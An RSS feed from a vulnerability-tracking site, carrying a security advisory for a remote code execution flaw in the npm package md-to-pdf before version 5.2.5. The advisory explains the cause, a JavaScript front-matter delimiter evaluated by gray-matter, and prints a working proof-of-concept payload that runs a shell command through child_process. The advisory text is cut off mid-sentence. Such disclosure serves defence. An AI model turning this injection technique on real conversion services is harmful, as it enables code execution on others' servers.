<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 18 Oct 2026 23:02:53 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-261761</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-261761</link>
      <description>EUVD-2026-261761</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-261761</guid>
    </item>
    <item>
      <title>fkie_cve-2025-65108</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-65108</link>
      <description>&lt;p&gt;md-to-pdf is a CLI tool for converting Markdown files to PDF using Node.js and headless Chrome. Prior to version 5.2.5, a Markdown front-matter block that contains JavaScript delimiter causes the JS engine in gray-matter library to execute arbitrary code in the Markdown to PDF converter process of md-to-pdf library, resulting in remote code execution. This issue has been patched in version 5.2.5.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;md-to-pdf is a CLI tool for converting Markdown files to PDF using Node.js and headless Chrome. Prior to version 5.2.5, a Markdown front-matter block that contains JavaScript delimiter causes the JS engine in gray-matter library to execute arbitrary code in the Markdown to PDF converter process of md-to-pdf library, resulting in remote code execution. This issue has been patched in version 5.2.5.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-65108</guid>
    </item>
    <item>
      <title>GHSA-547r-qmjm-8hvw — md-to-pdf vulnerable to arbitrary JavaScript code execution when parsing front matter</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-547r-qmjm-8hvw</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: md-to-pdf&lt;/p&gt;
&lt;p&gt;### Summary
A Markdown front-matter block that contains JavaScript delimiter causes the JS engine in gray-matter library to execute arbitrary code in the Markdown to PDF converter process of **md-to-pdf** library, resulting in remote code execution.&lt;/p&gt;
&lt;p&gt;### Details
**md-to-pdf** uses the gray-matter library to parse front-matter. Gray-matter exposes a JavaScript engine that, when enabled or triggered by certain front-matter delimiters (e.g. ---js or ---javascript), will evaluate the front-matter contents as JavaScript. If user-supplied Markdown is fed to md-to-pdf and the front-matter contains malicious JS, the converter process will execute that code.&lt;/p&gt;
&lt;p&gt;### PoC
```
const { mdToPdf } = require(&amp;#39;md-to-pdf&amp;#39;);&lt;/p&gt;
&lt;p&gt;var payload = &amp;#39;---javascript\n((require(&amp;#34;child_process&amp;#34;)).execSync(&amp;#34;calc.exe&amp;#34;))\n---RCE&amp;#39;;&lt;/p&gt;
&lt;p&gt;(async () =&amp;gt; {
	await mdToPdf({ content: payload }, { dest: &amp;#39;./output.pdf&amp;#39;});
})();
```
Running the PoC on Windows launches the calculator application, demonstrating arbitrary code execution.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;- Remote code execution in the process that performs Markdown-&amp;gt;PDF conversion.
- If the converter is run in a web app or cloud service, an attacker uploading malicious Markdown can execute arbitrary commands on the&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: md-to-pdf&lt;/p&gt;
&lt;p&gt;### Summary
A Markdown front-matter block that contains JavaScript delimiter causes the JS engine in gray-matter library to execute arbitrary code in the Markdown to PDF converter process of **md-to-pdf** library, resulting in remote code execution.&lt;/p&gt;
&lt;p&gt;### Details
**md-to-pdf** uses the gray-matter library to parse front-matter. Gray-matter exposes a JavaScript engine that, when enabled or triggered by certain front-matter delimiters (e.g. ---js or ---javascript), will evaluate the front-matter contents as JavaScript. If user-supplied Markdown is fed to md-to-pdf and the front-matter contains malicious JS, the converter process will execute that code.&lt;/p&gt;
&lt;p&gt;### PoC
```
const { mdToPdf } = require(&amp;#39;md-to-pdf&amp;#39;);&lt;/p&gt;
&lt;p&gt;var payload = &amp;#39;---javascript\n((require(&amp;#34;child_process&amp;#34;)).execSync(&amp;#34;calc.exe&amp;#34;))\n---RCE&amp;#39;;&lt;/p&gt;
&lt;p&gt;(async () =&amp;gt; {
	await mdToPdf({ content: payload }, { dest: &amp;#39;./output.pdf&amp;#39;});
})();
```
Running the PoC on Windows launches the calculator application, demonstrating arbitrary code execution.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;- Remote code execution in the process that performs Markdown-&amp;gt;PDF conversion.
- If the converter is run in a web app or cloud service, an attacker uploading malicious Markdown can execute arbitrary commands on the&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-547r-qmjm-8hvw</guid>
    </item>
  </channel>
</rss>
